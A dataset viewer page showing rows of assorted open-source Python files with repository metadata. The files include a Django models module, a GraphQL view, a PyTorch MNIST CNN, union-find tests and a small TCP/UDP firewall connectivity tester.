xszheng2020/the_stack_dedup_python_hits_1 · Datasets at Hugging Face

c70bf8219d2bb2dabd3039c6feeeaba05de046c4

1,701

py

Python

main.py

hasanzadeh99/mapna_test_2021

1e2e50a9aff32e2d730bf3d0fd20393e5aea0872

[ "MIT" ]

null

main.py

hasanzadeh99/mapna_test_2021

1e2e50a9aff32e2d730bf3d0fd20393e5aea0872

[ "MIT" ]

null

main.py

hasanzadeh99/mapna_test_2021

1e2e50a9aff32e2d730bf3d0fd20393e5aea0872

[ "MIT" ]

null

import time old_input_value = False flag_falling_edge = None start = None flag_output_mask = False DELAY_CONST = 10 # delay time from falling edge ... . output = None def response_function(): global old_input_value, flag_falling_edge, start, flag_output_mask, output if flag_falling_edge: output = True end = time.perf_counter() if end - start > DELAY_CONST: output = 0 flag_falling_edge = 0 flag_output_mask = False input_value = bool(int(input('Please Enter your Input Value: '))) if old_input_value == False and input_value == True: if not flag_output_mask: output = input_value old_input_value = input_value print('Input Rising Edge detected ... ') print(f'output is: {output}') elif old_input_value == False and input_value == False: if not flag_output_mask: output = input_value old_input_value = input_value print(f'output is: {output}') elif old_input_value == True and input_value == True: old_input_value = input_value if not flag_output_mask: output = input_value print(f'output is: {output}') elif old_input_value == True and input_value == False: start = time.perf_counter() print('Input Falling Edge detected ... ') flag_falling_edge = True flag_output_mask = True old_input_value = input_value print(f'output is: {output}') if __name__ == '__main__': DELAY_CONST=int(input("Hello \nPlease Enter Your delay value here :")) while True: response_function()

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c70ef8c2db16a8357afdb58004c2cb5a69fd6d01

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py

Python

tests/conftest.py

badarsebard/terraform-pytest

58c8096f0405ec1d0061723fc1dd2d099655c3c5

[ "MIT" ]

null

tests/conftest.py

badarsebard/terraform-pytest

58c8096f0405ec1d0061723fc1dd2d099655c3c5

[ "MIT" ]

null

tests/conftest.py

badarsebard/terraform-pytest

58c8096f0405ec1d0061723fc1dd2d099655c3c5

[ "MIT" ]

1

2021-11-19T16:36:31.000Z

from .terraform import TerraformManager import pytest from _pytest.tmpdir import TempPathFactory @pytest.fixture(scope='session') def tfenv(tmp_path_factory: TempPathFactory): env_vars = { } with TerraformManager(path_factory=tmp_path_factory, env_vars=env_vars) as deployment: yield deployment

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null

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1

c71481b1ca69523b36b0345fe995b27fb6d37535

2,533

py

Python

pythoncode/kmeansimage.py

loganpadon/PokemonOneShot

22f9904250c8c90b4fe4573d6ca060fd9f95c1d3

[ "MIT" ]

null

pythoncode/kmeansimage.py

loganpadon/PokemonOneShot

22f9904250c8c90b4fe4573d6ca060fd9f95c1d3

[ "MIT" ]

1

2019-04-04T20:40:20.000Z

pythoncode/kmeansimage.py

loganpadon/PokemonOneShot

22f9904250c8c90b4fe4573d6ca060fd9f95c1d3

[ "MIT" ]

null

# import the necessary packages from sklearn.cluster import KMeans import skimage import matplotlib.pyplot as plt import argparse import cv2 def mean_image(image,clt): image2=image for x in range(len(image2)): classes=clt.predict(image2[x]) for y in range(len(classes)): image2[x,y]=clt.cluster_centers_[classes[y]] image2=skimage.color.lab2rgb(image2) return image2 def plot_colors(hist, centroids): # initialize the bar chart representing the relative frequency # of each of the colors bar = np.zeros((50, 300, 3), dtype = "uint8") startX = 0 # loop over the percentage of each cluster and the color of # each cluster for (percent, color) in zip(hist, centroids): print color c = skimage.color.lab2rgb([[color]]) print c*255 # plot the relative percentage of each cluster endX = startX + (percent * 300) cv2.rectangle(bar, (int(startX), 0), (int(endX), 50), c[0][0]*255, -1) startX = endX # return the bar chart return bar # import the necessary packages import numpy as np import cv2 def centroid_histogram(clt): # grab the number of different clusters and create a histogram # based on the number of pixels assigned to each cluster numLabels = np.arange(0, len(np.unique(clt.labels_)) + 1) (hist, _) = np.histogram(clt.labels_, bins = numLabels) # normalize the histogram, such that it sums to one hist = hist.astype("float") hist /= hist.sum() # return the histogram return hist # construct the argument parser and parse the arguments ap = argparse.ArgumentParser() ap.add_argument("-i", "--image", required = True, help = "Path to the image") ap.add_argument("-c", "--clusters", required = True, type = int, help = "# of clusters") args = vars(ap.parse_args()) # load the image and convert it from BGR to RGB so that # we can dispaly it with matplotlib image = cv2.imread(args["image"]) image2 = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) image = skimage.color.rgb2lab(image2) # show our image plt.figure() plt.axis("off") plt.imshow(image2) # reshape the image to be a list of pixels imagedata = image.reshape((image.shape[0] * image.shape[1], 3)) # cluster the pixel intensities clt = KMeans(n_clusters = args["clusters"]) clt.fit(imagedata) hist = centroid_histogram(clt) bar = plot_colors(hist, clt.cluster_centers_) # show our color bar plt.figure() plt.axis("off") plt.imshow(bar) imagek=mean_image(image,clt) plt.figure() plt.axis("off") plt.imshow(imagek) plt.show()

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c717ca8a8d1e158509ebb8f364af201eeca89e64

296

py

Python

docs_src/options/callback/tutorial001.py

madkinsz/typer

a1520dcda685220a9a796288f5eaaebd00d68845

[ "MIT" ]

7,615

2019-12-24T13:08:20.000Z

2022-03-31T22:07:53.000Z

docs_src/options/callback/tutorial001.py

madkinsz/typer

a1520dcda685220a9a796288f5eaaebd00d68845

[ "MIT" ]

351

2019-12-24T22:17:54.000Z

2022-03-31T15:35:08.000Z

docs_src/options/callback/tutorial001.py

jina-ai/typer

8b5e14b25ddf0dd777403015883301b17bedcee0

[ "MIT" ]

360

2019-12-24T15:29:59.000Z

2022-03-30T20:33:10.000Z

import typer def name_callback(value: str): if value != "Camila": raise typer.BadParameter("Only Camila is allowed") return value def main(name: str = typer.Option(..., callback=name_callback)): typer.echo(f"Hello {name}") if __name__ == "__main__": typer.run(main)

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null

0

null

0

1

0

1

c719c2fbf99902f8dda33cce99ae748883db934d

3,276

py

Python

qft-client-py2.py

bocajspear1/qft

7a8f3bb5d24bf173489dc4ad6159021e9365e9c4

[ "MIT" ]

null

qft-client-py2.py

bocajspear1/qft

7a8f3bb5d24bf173489dc4ad6159021e9365e9c4

[ "MIT" ]

null

qft-client-py2.py

bocajspear1/qft

7a8f3bb5d24bf173489dc4ad6159021e9365e9c4

[ "MIT" ]

null

import socket import threading from time import sleep from threading import Thread import json import sys def display_test(address, port,text_result, test): if (text_result == "QFT_SUCCESS" and test == True) or (text_result != "QFT_SUCCESS" and test == False): # Test is correct print "PASSED: Test for " + str(address) + ":" + str(port) + " resulted in " + str(test) else: print "FAILED: Test for " + str(address) + ":" + str(port) + " did not result in " + str(test) def TCPTest(address, port, test): try: my_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) my_socket.settimeout(2) my_socket.connect((address, port)) fileobj = my_socket.makefile("rw") fileobj.write('QFT_REQUEST\n') fileobj.flush() result = fileobj.readline().strip() display_test(address, port, result, test) except socket.error as e: #print(e) display_test(address, port, "FAILED", test) except socket.timeout as e: display_test(address, port, "FAILED", test) my_socket.close() def UDPTest(address, port, test): try: my_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) my_socket.settimeout(2) my_socket.sendto("QFT_REQUEST".encode('utf-8'), (address, port)) # receive data from client (data, addr) d = my_socket.recvfrom(1024) reply = d[0] addr = d[1] result = d[0].decode('utf-8').strip() display_test(address, port, result, test) except socket.timeout as e: display_test(address, port, "FAILED", test) try: timeout = 5 if len(sys.argv) > 1: if (len(sys.argv) -1 ) % 2 != 0: print "\nInvalid number of arguments\n\n-t Time between tests in seconds\n" sys.exit() else: if sys.argv[1] == "-t" and sys.argv[2].isdigit() and int(sys.argv[2]) > 2: timeout = int(sys.argv[2]) else: print "\nInvalid arguments\n\n-t Time between tests in seconds\n" sys.exit() print "\nqft-client.py v1.s\n\n" json_cfg = json.loads(open("client.cfg").read()) print "Config loaded. Starting tests in 1 second...\n\n" sleep(1) while True: for item in json_cfg: if item["type"] == "tcp": t = Thread(target=TCPTest, args=( item["remote_address"], item["port"], item["test_for"])) elif item["type"] == "udp": t = Thread(target=UDPTest, args=( item["remote_address"], item["port"], item["test_for"])) else: print "Invalid Type!" t.start() sleep(timeout) print "\n=======================================================\n" except IOError as e: print("Config file, client.cfg, not found") sys.exit() except ValueError as e: print("Error in config JSON") sys.exit()

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1

c71ef3a9007aa0aebc08a606ded35bff47c69406

242

py

Python

cnn/struct/layer/parse_tensor_module.py

hslee1539/GIS_GANs

6901c830b924e59fd06247247db3f925bab26583

[ "MIT" ]

null

cnn/struct/layer/parse_tensor_module.py

hslee1539/GIS_GANs

6901c830b924e59fd06247247db3f925bab26583

[ "MIT" ]

null

cnn/struct/layer/parse_tensor_module.py

hslee1539/GIS_GANs

6901c830b924e59fd06247247db3f925bab26583

[ "MIT" ]

null

from tensor.main_module import Tensor import numpy as np def getTensor(value): if type(value) is np.ndarray: return Tensor.numpy2Tensor(value) elif type(value) is Tensor: return value else: raise Exception

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1

c72423d0c9647d3f45e1ae401dca8a26496518f2

265

py

Python

HackerRank/Calendar Module/solution.py

nikku1234/Code-Practise

94eb6680ea36efd10856c377000219285f77e5a4

[ "Apache-2.0" ]

9

2020-07-02T06:06:17.000Z

2022-02-26T11:08:09.000Z

HackerRank/Calendar Module/solution.py

nikku1234/Code-Practise

94eb6680ea36efd10856c377000219285f77e5a4

[ "Apache-2.0" ]

1

2021-11-04T17:26:36.000Z

HackerRank/Calendar Module/solution.py

nikku1234/Code-Practise

94eb6680ea36efd10856c377000219285f77e5a4

[ "Apache-2.0" ]

8

2021-01-31T10:31:12.000Z

2022-03-13T09:15:55.000Z

# Enter your code here. Read input from STDIN. Print output to STDOUT import calendar mm,dd,yyyy = map(int,input().split()) day = ["MONDAY","TUESDAY","WEDNESDAY","THURSDAY","FRIDAY","SATURDAY","SUNDAY"] val = int (calendar.weekday(yyyy,mm,dd)) print(day[val])

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c7245a8913ae3a1c31f00b1392df9f4dd3d991e9

7,560

py

Python

scale/trigger/models.py

stevevarner/scale

9623b261db4ddcf770f00df16afc91176142bb7c

[ "Apache-2.0" ]

null

scale/trigger/models.py

stevevarner/scale

9623b261db4ddcf770f00df16afc91176142bb7c

[ "Apache-2.0" ]

null

scale/trigger/models.py

stevevarner/scale

9623b261db4ddcf770f00df16afc91176142bb7c

[ "Apache-2.0" ]

null

"""Defines the models for trigger rules and events""" from __future__ import unicode_literals import django.contrib.postgres.fields from django.db import models, transaction from django.utils.timezone import now class TriggerEventManager(models.Manager): """Provides additional methods for handling trigger events """ def create_trigger_event(self, trigger_type, rule, description, occurred): """Creates a new trigger event and returns the event model. The given rule model, if not None, must have already been saved in the database (it must have an ID). The returned trigger event model will be saved in the database. :param trigger_type: The type of the trigger that occurred :type trigger_type: str :param rule: The rule that triggered the event, possibly None :type rule: :class:`trigger.models.TriggerRule` :param description: The JSON description of the event as a dict :type description: dict :param occurred: When the event occurred :type occurred: :class:`datetime.datetime` :returns: The new trigger event :rtype: :class:`trigger.models.TriggerEvent` """ if trigger_type is None: raise Exception('Trigger event must have a type') if description is None: raise Exception('Trigger event must have a JSON description') if occurred is None: raise Exception('Trigger event must have a timestamp') event = TriggerEvent() event.type = trigger_type event.rule = rule event.description = description event.occurred = occurred event.save() return event class TriggerEvent(models.Model): """Represents an event where a trigger occurred :keyword type: The type of the trigger that occurred :type type: :class:`django.db.models.CharField` :keyword rule: The rule that triggered this event, possibly None (some events are not triggered by rules) :type rule: :class:`django.db.models.ForeignKey` :keyword description: JSON description of the event. This will contain fields specific to the type of the trigger that occurred. :type description: :class:`django.contrib.postgres.fields.JSONField` :keyword occurred: When the event occurred :type occurred: :class:`django.db.models.DateTimeField` """ type = models.CharField(db_index=True, max_length=50) rule = models.ForeignKey('trigger.TriggerRule', blank=True, null=True, on_delete=models.PROTECT) description = django.contrib.postgres.fields.JSONField(default=dict) occurred = models.DateTimeField(db_index=True) objects = TriggerEventManager() class Meta(object): """meta information for the db""" db_table = 'trigger_event' class TriggerRuleManager(models.Manager): """Provides additional methods for handling trigger rules """ @transaction.atomic def archive_trigger_rule(self, trigger_rule_id): """Archives the trigger rule (will no longer be active) with the given ID :param trigger_rule_id: The ID of the trigger rule to archive :type trigger_rule_id: int """ rule = TriggerRule.objects.select_for_update().get(pk=trigger_rule_id) rule.is_active = False rule.archived = now() rule.save() def create_trigger_rule(self, trigger_type, configuration, name='', is_active=True): """Creates a new trigger rule and returns the rule model. The returned trigger rule model will be saved in the database. :param trigger_type: The type of this trigger rule :type trigger_type: str :param configuration: The rule configuration :type configuration: :class:`trigger.configuration.TriggerRuleConfiguration` :param name: An optional name for the trigger :type name: str :param is_active: Whether or not the trigger should be active :type is_active: bool :returns: The new trigger rule :rtype: :class:`trigger.models.TriggerRule` :raises trigger.configuration.exceptions.InvalidTriggerRule: If the configuration is invalid """ if not trigger_type: raise Exception('Trigger rule must have a type') if not configuration: raise Exception('Trigger rule must have a configuration') configuration.validate() rule = TriggerRule() rule.type = trigger_type rule.name = name rule.is_active = is_active rule.configuration = configuration.get_dict() rule.save() return rule def get_by_natural_key(self, name): """Django method to retrieve a trigger rule for the given natural key. NOTE: All trigger rule names are NOT unique. This is implemented to allow the loading of defined system trigger rules which do have unique names. :param name: The name of the trigger rule :type name: str :returns: The trigger rule defined by the natural key :rtype: :class:`error.models.Error` """ return self.get(name=name) class TriggerRule(models.Model): """Represents a rule that, when triggered, creates a trigger event :keyword type: The type of the trigger for the rule :type type: :class:`django.db.models.CharField` :keyword name: The identifying name of the trigger rule used by clients for queries :type name: :class:`django.db.models.CharField` :keyword configuration: JSON configuration for the rule. This will contain fields specific to the type of the trigger. :type configuration: :class:`django.contrib.postgres.fields.JSONField` :keyword is_active: Whether the rule is still active (false once rule is archived) :type is_active: :class:`django.db.models.BooleanField` :keyword created: When the rule was created :type created: :class:`django.db.models.DateTimeField` :keyword archived: When the rule was archived (no longer active) :type archived: :class:`django.db.models.DateTimeField` :keyword last_modified: When the rule was last modified :type last_modified: :class:`django.db.models.DateTimeField` """ type = models.CharField(max_length=50, db_index=True) name = models.CharField(blank=True, max_length=50) configuration = django.contrib.postgres.fields.JSONField(default=dict) is_active = models.BooleanField(default=True, db_index=True) created = models.DateTimeField(auto_now_add=True) archived = models.DateTimeField(blank=True, null=True) last_modified = models.DateTimeField(auto_now=True) objects = TriggerRuleManager() def get_configuration(self): """Returns the configuration for this trigger rule :returns: The configuration for this trigger rule :rtype: :class:`trigger.configuration.trigger_rule.TriggerRuleConfiguration` :raises :class:`trigger.configuration.exceptions.InvalidTriggerType`: If the trigger type is invalid """ from trigger.handler import get_trigger_rule_handler handler = get_trigger_rule_handler(self.type) return handler.create_configuration(self.configuration) def natural_key(self): """Django method to define the natural key for a trigger rule as the name :returns: A tuple representing the natural key :rtype: tuple(str,) """ return (self.name,) class Meta(object): """meta information for the db""" db_table = 'trigger_rule'

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c724c503b44eb473d695fa13f0446956650e0c2b

987

py

Python

barriers/models/history/assessments/economic_impact.py

felix781/market-access-python-frontend

3b0e49feb4fdf0224816326938a46002aa4a2b1c

[ "MIT" ]

1

2021-12-15T04:14:03.000Z

barriers/models/history/assessments/economic_impact.py

felix781/market-access-python-frontend

3b0e49feb4fdf0224816326938a46002aa4a2b1c

[ "MIT" ]

19

2019-12-11T11:32:47.000Z

2022-03-29T15:40:57.000Z

barriers/models/history/assessments/economic_impact.py

felix781/market-access-python-frontend

3b0e49feb4fdf0224816326938a46002aa4a2b1c

[ "MIT" ]

2

2021-02-09T09:38:45.000Z

2021-03-29T19:07:09.000Z

from ..base import BaseHistoryItem, GenericHistoryItem from ..utils import PolymorphicBase class ArchivedHistoryItem(BaseHistoryItem): field = "archived" field_name = "Valuation assessment: Archived" def get_value(self, value): if value is True: return "Archived" elif value is False: return "Unarchived" class ExplanationHistoryItem(BaseHistoryItem): field = "explanation" field_name = "Valuation assessment: Explanation" class ImpactHistoryItem(BaseHistoryItem): field = "impact" field_name = "Valuation assessment: Impact" def get_value(self, value): if value: return value.get("name") class EconomicImpactAssessmentHistoryItem(PolymorphicBase): model = "economic_impact_assessment" key = "field" subclasses = ( ArchivedHistoryItem, ExplanationHistoryItem, ImpactHistoryItem, ) default_subclass = GenericHistoryItem class_lookup = {}

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c727467c9c5f9cbcf49804ff4103bf27f2140c3f

1,504

py

Python

botorch/acquisition/__init__.py

jmren168/botorch

6c067185f56d3a244c4093393b8a97388fb1c0b3

[ "MIT" ]

1

2020-03-29T20:06:45.000Z

botorch/acquisition/__init__.py

jmren168/botorch

6c067185f56d3a244c4093393b8a97388fb1c0b3

[ "MIT" ]

null

botorch/acquisition/__init__.py

jmren168/botorch

6c067185f56d3a244c4093393b8a97388fb1c0b3

[ "MIT" ]

1

2020-03-29T20:06:48.000Z

#!/usr/bin/env python3 # Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved from .acquisition import AcquisitionFunction from .analytic import ( AnalyticAcquisitionFunction, ConstrainedExpectedImprovement, ExpectedImprovement, NoisyExpectedImprovement, PosteriorMean, ProbabilityOfImprovement, UpperConfidenceBound, ) from .fixed_feature import FixedFeatureAcquisitionFunction from .monte_carlo import ( MCAcquisitionFunction, qExpectedImprovement, qNoisyExpectedImprovement, qProbabilityOfImprovement, qSimpleRegret, qUpperConfidenceBound, ) from .objective import ( ConstrainedMCObjective, GenericMCObjective, IdentityMCObjective, LinearMCObjective, MCAcquisitionObjective, ScalarizedObjective, ) from .utils import get_acquisition_function __all__ = [ "AcquisitionFunction", "AnalyticAcquisitionFunction", "ConstrainedExpectedImprovement", "ExpectedImprovement", "FixedFeatureAcquisitionFunction", "NoisyExpectedImprovement", "PosteriorMean", "ProbabilityOfImprovement", "UpperConfidenceBound", "qExpectedImprovement", "qNoisyExpectedImprovement", "qProbabilityOfImprovement", "qSimpleRegret", "qUpperConfidenceBound", "ConstrainedMCObjective", "GenericMCObjective", "IdentityMCObjective", "LinearMCObjective", "MCAcquisitionFunction", "MCAcquisitionObjective", "ScalarizedObjective", "get_acquisition_function", ]

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null

0

null

0

1

c72d167470fc1e484c9ed6ee92db56b541a26d0c

3,216

py

Python

edivorce/apps/core/views/graphql.py

gerritvdm/eDivorce

e3c0a4037a7141769250b96df6cc4eb4ea5ef3af

[ "Apache-2.0" ]

6

2017-03-24T18:20:33.000Z

2021-01-29T03:25:07.000Z

edivorce/apps/core/views/graphql.py

gerritvdm/eDivorce

e3c0a4037a7141769250b96df6cc4eb4ea5ef3af

[ "Apache-2.0" ]

13

2018-10-12T17:20:37.000Z

2021-11-05T23:13:21.000Z

edivorce/apps/core/views/graphql.py

gerritvdm/eDivorce

e3c0a4037a7141769250b96df6cc4eb4ea5ef3af

[ "Apache-2.0" ]

11

2017-03-15T12:36:39.000Z

2021-03-05T14:35:59.000Z

import graphene import graphene_django from django.http import HttpResponseForbidden from graphene_django.views import GraphQLView from graphql import GraphQLError from edivorce.apps.core.models import Document class PrivateGraphQLView(GraphQLView): def dispatch(self, request, *args, **kwargs): if not request.user.is_authenticated: return HttpResponseForbidden() return super().dispatch(request, *args, **kwargs) class DocumentType(graphene_django.DjangoObjectType): file_url = graphene.String(source='get_file_url') content_type = graphene.String(source='get_content_type') class Meta: model = Document exclude = ('id', 'file') class Query(graphene.ObjectType): documents = graphene.List(DocumentType, doc_type=graphene.String(required=True), party_code=graphene.Int(required=True)) def resolve_documents(self, info, **kwargs): if info.context.user.is_anonymous: raise GraphQLError('Unauthorized') q = Document.objects.filter(bceid_user=info.context.user, **kwargs) for doc in q: if not doc.file_exists(): q.delete() return Document.objects.none() return q class DocumentInput(graphene.InputObjectType): filename = graphene.String(required=True) size = graphene.Int(required=True) width = graphene.Int() height = graphene.Int() rotation = graphene.Int() class DocumentMetaDataInput(graphene.InputObjectType): files = graphene.List(DocumentInput, required=True) doc_type = graphene.String(required=True) party_code = graphene.Int(required=True) class UpdateMetadata(graphene.Mutation): class Arguments: input = DocumentMetaDataInput(required=True) documents = graphene.List(DocumentType) def mutate(self, info, **kwargs): input_ = kwargs['input'] documents = Document.objects.filter(bceid_user=info.context.user, doc_type=input_['doc_type'], party_code=input_['party_code']) unique_files = [dict(s) for s in set(frozenset(d.items()) for d in input_['files'])] if documents.count() != len(input_['files']) or documents.count() != len(unique_files): raise GraphQLError("Invalid input: there must be the same number of files") for i, file in enumerate(input_['files']): try: doc = documents.get(filename=file['filename'], size=file['size']) doc.sort_order = i + 1 doc.width = file.get('width', doc.width) doc.height = file.get('height', doc.height) doc.rotation = file.get('rotation', doc.rotation) if doc.rotation not in [0, 90, 180, 270]: raise GraphQLError(f"Invalid rotation {doc.rotation}, must be 0, 90, 180, 270") doc.save() except Document.DoesNotExist: raise GraphQLError(f"Couldn't find document '{file['filename']}' with size '{file['size']}'") return UpdateMetadata(documents=documents.all()) class Mutations(graphene.ObjectType): update_metadata = UpdateMetadata.Field() graphql_schema = graphene.Schema(query=Query, mutation=Mutations)

36.545455

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0.668221

370

3,216

5.716216

0.335135

0.04539

0.025532

0.036879

0.104019

0.061466

0

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0.217351

3,216

87

136

36.965517

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0.046875

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0

0.09375

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0.5625

0

null

0

null

0

1

0

1

c73caaa0e2719e60ad785aecaaee84cf63518c02

1,497

py

Python

tests/test_path_choice.py

jataware/flee

67c00c4572e71dd2bbfb390d7d7ede13ffb9594e

[ "BSD-3-Clause" ]

3

2021-05-24T14:07:48.000Z

2022-01-10T03:20:36.000Z

tests/test_path_choice.py

jataware/flee

67c00c4572e71dd2bbfb390d7d7ede13ffb9594e

[ "BSD-3-Clause" ]

15

2020-06-05T11:42:23.000Z

2022-03-09T20:17:29.000Z

tests/test_path_choice.py

jataware/flee

67c00c4572e71dd2bbfb390d7d7ede13ffb9594e

[ "BSD-3-Clause" ]

3

2020-05-29T15:10:28.000Z

2022-03-09T19:51:41.000Z

from flee import flee """ Generation 1 code. Incorporates only distance, travel always takes one day. """ def test_path_choice(): print("Testing basic data handling and simulation kernel.") flee.SimulationSettings.MinMoveSpeed = 5000.0 flee.SimulationSettings.MaxMoveSpeed = 5000.0 flee.SimulationSettings.MaxWalkSpeed = 5000.0 e = flee.Ecosystem() l1 = e.addLocation(name="A", movechance=1.0) _ = e.addLocation(name="B", movechance=1.0) _ = e.addLocation(name="C1", movechance=1.0) _ = e.addLocation(name="C2", movechance=1.0) _ = e.addLocation(name="D1", movechance=1.0) _ = e.addLocation(name="D2", movechance=1.0) _ = e.addLocation(name="D3", movechance=1.0) # l2 = e.addLocation(name="B", movechance=1.0) # l3 = e.addLocation(name="C1", movechance=1.0) # l4 = e.addLocation(name="C2", movechance=1.0) # l5 = e.addLocation(name="D1", movechance=1.0) # l6 = e.addLocation(name="D2", movechance=1.0) # l7 = e.addLocation(name="D3", movechance=1.0) e.linkUp(endpoint1="A", endpoint2="B", distance=10.0) e.linkUp(endpoint1="A", endpoint2="C1", distance=10.0) e.linkUp(endpoint1="A", endpoint2="D1", distance=10.0) e.linkUp(endpoint1="C1", endpoint2="C2", distance=10.0) e.linkUp(endpoint1="D1", endpoint2="D2", distance=10.0) e.linkUp(endpoint1="D2", endpoint2="D3", distance=10.0) e.addAgent(location=l1) print("Test successful!") if __name__ == "__main__": test_path_choice()

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75

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1,497

4.642857

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0.093333

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null

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1

0

null

0

1

c746b2ee9cd86b479c95bc6e51b1c40a08b1d7da

2,162

py

Python

algorithms/tests/test_unionfind.py

tommyod/PythonAlgorithms

f0a0f67be069fc9e9fa3027ed83942d6401223fe

[ "MIT" ]

1

2021-08-23T17:15:06.000Z

algorithms/tests/test_unionfind.py

tommyod/PythonAlgorithms

f0a0f67be069fc9e9fa3027ed83942d6401223fe

[ "MIT" ]

1

2018-05-02T17:29:42.000Z

2018-05-02T17:31:18.000Z

algorithms/tests/test_unionfind.py

tommyod/PythonAlgorithms

f0a0f67be069fc9e9fa3027ed83942d6401223fe

[ "MIT" ]

1

2018-05-02T12:31:52.000Z

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Tests for the union find data structure. """ try: from ..unionfind import UnionFind except ValueError: pass def test_unionfind_basics(): """ Test the basic properties of unionfind. """ u = UnionFind([1, 2, 3]) assert u.in_same_set(1, 2) is False assert u.in_same_set(2, 3) is False u.union(1, 3) assert u.in_same_set(1, 2) is False assert u.in_same_set(3, 1) assert u.get_root(1) == u.get_root(3) def test_unionfind_adding_elements(): """ Test adding operations, mostly syntactic sugar. """ u = UnionFind([1, 2]) u.add(['a', 'b']) assert 1 in u assert 'a' in u def test_unionfind_example(): """ Test on a slightly more invovled example. """ u = UnionFind([1, 2, 3, 4, 5]) u.union(1, 3) u.union(2, 4) assert u.in_same_set(1, 3) assert u.in_same_set(4, 2) assert not u.in_same_set(2, 5) assert not u.in_same_set(2, 1) assert not u.in_same_set(1, 4) u.union(5, 1) assert u.in_same_set(3, 5) def test_unionfind_several(): """ Test that we can take union of more than two elements. """ u = UnionFind([1, 2, 3, 4, 5, 6, 7, 8]) u.union([1, 2, 3]) u.union([4, 5, 6]) u.union([7, 8]) assert u.in_same_set(1, 3) assert u.in_same_set(6, 4) assert u.in_same_set(7, 8) assert not u.in_same_set(2, 5) assert not u.in_same_set(4, 8) def test_unionfind_compression(): """ Test path compression and the union by rank. """ # Test the ranking elements = list(range(100)) u = UnionFind(elements) for i in range(len(elements) - 1): u.union(elements[i], elements[i + 1]) assert max(u._rank.values()) == 1 # Test path compression parent_nodes = list(u._parent.values()) assert all(parent == parent_nodes[0] for parent in parent_nodes) if __name__ == "__main__": import pytest # --durations=10 <- May be used to show potentially slow tests pytest.main(args=['.', '--doctest-modules', '-v'])

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0

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0.276133

2,162

100

69

21.62

0.721406

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null

0

null

0

1

0

1

c7477304b232543e959b4e41d7f4db3d8d55814b

334

py

Python

products/migrations/0010_remove_product_updated_at.py

UB-ES-2021-A1/wannasell-backend

84360b2985fc28971867601373697f39303e396b

[ "Unlicense" ]

null

products/migrations/0010_remove_product_updated_at.py

UB-ES-2021-A1/wannasell-backend

84360b2985fc28971867601373697f39303e396b

[ "Unlicense" ]

62

2021-11-22T21:52:44.000Z

2021-12-17T15:07:02.000Z

products/migrations/0010_remove_product_updated_at.py

UB-ES-2021-A1/wannasell-backend

84360b2985fc28971867601373697f39303e396b

[ "Unlicense" ]

null

# Generated by Django 3.2.8 on 2021-11-25 17:50 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('products', '0009_auto_20211125_1846'), ] operations = [ migrations.RemoveField( model_name='product', name='updated_at', ), ]

18.555556

48

0.598802

36

334

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0

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334

17

49

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0

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false

0

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0

null

0

1

0

null

0

1

c7511256bf0b0f8d7c0f1ccc084e2e9144ad8ab3

2,948

py

Python

sample_architectures/cnn.py

hvarS/PyTorch-Refer

020445e3ae1f3627f39e1ab957cdff44a2127289

[ "MIT" ]

null

sample_architectures/cnn.py

hvarS/PyTorch-Refer

020445e3ae1f3627f39e1ab957cdff44a2127289

[ "MIT" ]

null

sample_architectures/cnn.py

hvarS/PyTorch-Refer

020445e3ae1f3627f39e1ab957cdff44a2127289

[ "MIT" ]

null

# -*- coding: utf-8 -*- """CNN.ipynb Automatically generated by Colaboratory. Original file is located at https://colab.research.google.com/drive/1Tq6HUya2PrC0SmyOIFo2c_eVtguRED2q """ import torch import torch.nn as nn import torch.optim as optim import torch.nn.functional as F from torch.utils.data import DataLoader import torchvision.datasets as datasets import torchvision.transforms as transforms class CNN(nn.Module): def __init__(self,in_channels = 1,num_classes = 10): super(CNN,self).__init__() self.conv1 = nn.Conv2d(in_channels= in_channels,out_channels = 8,kernel_size =(3,3),stride = (1,1),padding = (1,1)) self.pool1 = nn.MaxPool2d(kernel_size=(2,2),stride=(2,2)) self.conv2 = nn.Conv2d(in_channels= 8,out_channels = 16,kernel_size =(3,3),stride = (1,1),padding = (1,1)) self.pool2 = nn.MaxPool2d(kernel_size=(2,2),stride=(2,2)) self.fc1 = nn.Linear(16*7*7,num_classes) def forward(self,x): x = F.relu(self.conv1(x)) x = self.pool1(x) x = F.relu(self.conv2(x)) x = self.pool2(x) x = x.reshape(x.shape[0],-1) x = self.fc1(x) return x model = CNN(1,10) x = torch.randn((64,1,28,28)) print(model(x).shape) device = torch.device("cuda" if torch.cuda.is_available() else "cpu") device in_channels = 1 num_classes = 10 learning_rate = 0.001 batch_size = 64 num_epochs = 4 train_dataset = datasets.MNIST(root = "dataset/",train = True,transform = transforms.ToTensor(),download = True) train_loader = DataLoader(dataset=train_dataset,batch_size=64,shuffle=True) test_dataset = train_dataset = datasets.MNIST(root = "dataset/",train = False,transform = transforms.ToTensor(),download = True) test_loader = DataLoader(dataset = test_dataset,batch_size = batch_size,shuffle = True) model = CNN(1,10).to(device = device) criterion = nn.CrossEntropyLoss() optimizer = optim.Adam(model.parameters(),lr = learning_rate) for epoch in range(num_epochs): for batch_idx,(data,targets) in enumerate(train_loader): #get data to cuda if possible data = data.cuda() targets = targets.cuda() scores = model(data) loss = criterion(scores,targets) #backward optimizer.zero_grad() loss.backward() #gradient_descent or adam-step optimizer.step() # Check the accuracy for the training step def check_accuracy(loader,model): if loader.dataset.train: print("Checking accuracy on training data") else: print("Checking accuracy on test data") num_correct = 0 num_samples = 0 model.eval() with torch.no_grad(): for x,y in loader: x = x.cuda() y = y.cuda() scores = model(x) _,predictions = scores.max(1) num_correct += (predictions == y).sum() num_samples += predictions.size(0) print(f' Got {num_correct}/{num_samples} with accuracy ={float(num_correct)/float(num_samples)*100:.2f} ') model.train() check_accuracy(train_loader,model) check_accuracy(test_loader,model)

28.07619

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0.012961

0.013958

0.181456

0.131605

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0.067797

0

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2,948

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0.057971

0

null

0

1

0

null

0

1

c75c60f75fce7285b991ad22486e1b1b13a02fed

1,990

py

Python

roblox/partials/partialgroup.py

speer-kinjo/ro.py

2d5b80aec8fd143b11101fbbfdf3b557f798a27f

[ "MIT" ]

28

2021-11-04T11:13:38.000Z

2022-03-11T05:00:16.000Z

roblox/partials/partialgroup.py

speer-kinjo/ro.py

2d5b80aec8fd143b11101fbbfdf3b557f798a27f

[ "MIT" ]

12

2021-11-24T06:25:24.000Z

